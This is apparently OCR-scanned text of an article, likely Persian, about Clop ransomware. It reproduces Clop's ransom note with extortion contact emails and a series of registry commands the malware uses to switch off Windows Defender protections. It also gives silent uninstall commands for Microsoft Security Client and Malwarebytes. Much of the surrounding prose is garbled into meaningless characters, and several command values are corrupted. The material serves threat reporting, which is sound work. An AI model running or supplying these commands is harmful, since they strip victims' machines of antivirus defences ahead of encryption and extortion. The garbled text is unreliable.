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5,18 1, Windows Defender (gjlwJled s jo 2w a5 ClOp 41381 b Ll

@ ClopReadMe.txt - Notepad? = O X
File Edit View Settings ?
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1 A1l files on each host in the network have been encrypted with a strong algorithm.

%

2 Backups were either encrypted or deleted or backup disks were formatted.

4 shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover.

s If you want to restore your files write to emails (contacts are at the bottom of the sheet) and attach 3-5
encrypted files

6 (Less than 5 Mb each, non-archived and your files should not contain valuable information

7 (Databases, backups, large excel sheets, etc.)).

gYou will receive decrypted samples.

9

10Message this information to company's CEO, unlocking of 1 computer only is impossible, only whole network.

11

12 Attention!!!

13 Your warranty - decrypted samples.

14 DO not rename encrypted files.

15 Do not try to decrypt your data using third party software.

16 wWe don't need your files and your information.

17

18 CONTACT EMAIL:

19 unlock@goldenbay. su

20 or

21 unlock@graylegion. su

22 AND

23 REDACTED

24 Dont worry C|OP A_-
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Behavior monitoring e

Real time protection e

Sample uploading to Microsoft e
Tamper protection e

Cloud detections e
Antispyware detections e
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cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\Real-Time Protection" /v
"DisableBehaviorMonitoring"” /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\Real-Time Protection" /v
"DisableOnAccessProtection” /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\Real-Time Protection" /v
"DisableRealtimeMonitoring” /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d
ll2ll /_F

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\Real-Time Protection" /v
"DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

cmd.exe /C reg add "HKLM\Software\Microsoft\Windows
Defender\Features" /v "TamperProtection" /t REG_DWORD /d "©"
/f

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f



e bl g gl g =l Ly 1zl roamlan g alael G e 35S0
wiplele bl g gl lejlu sl el slaalasy Slilac

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\MpEngine" /v "MpCloudBlockLevel” /t REG_DWORD /d
Ilell /_F

cmd.exe /C reg add "HKLM\Software\Policies\Microsoft\Windows
Defender\Spynet" /v "SpynetReporting" /t REG_DWORD /d "@" /f
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cmd.exe /C "C:\Program Files\Microsoft Security
Client\Setup.exe" /x /s

Malwarebytes ,I;38lzbus couai o33 gl p (oM

oz Il ol aS s, ass MalwareHunterteam sl si=e MWindows Defender ,; ogdle
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WIS B> ) eiws )l eolanwl L 1, Malwarebytes l5sl-bos Jpame ai salys aw sl p sl b

C:\Program Files\MalwareBytes\Anti-Ransomware\unins000.exe
/verysilent /suppressmsgboxes /norestart
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They are linked to TAS05 installs as the targeted ransomware of
choice they would use after the successful install of TAS05

malware on the targets of interest.

Clop is a targeted RW group similar to others we have seen like
BitPaymer, Ryuk, DoppelPaymer but via the TAS05 chain.
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https://www.bleepingcomputer.com/news/security/clop-ransomware-tries-to-disable-windows-
defender-malwarebytes/
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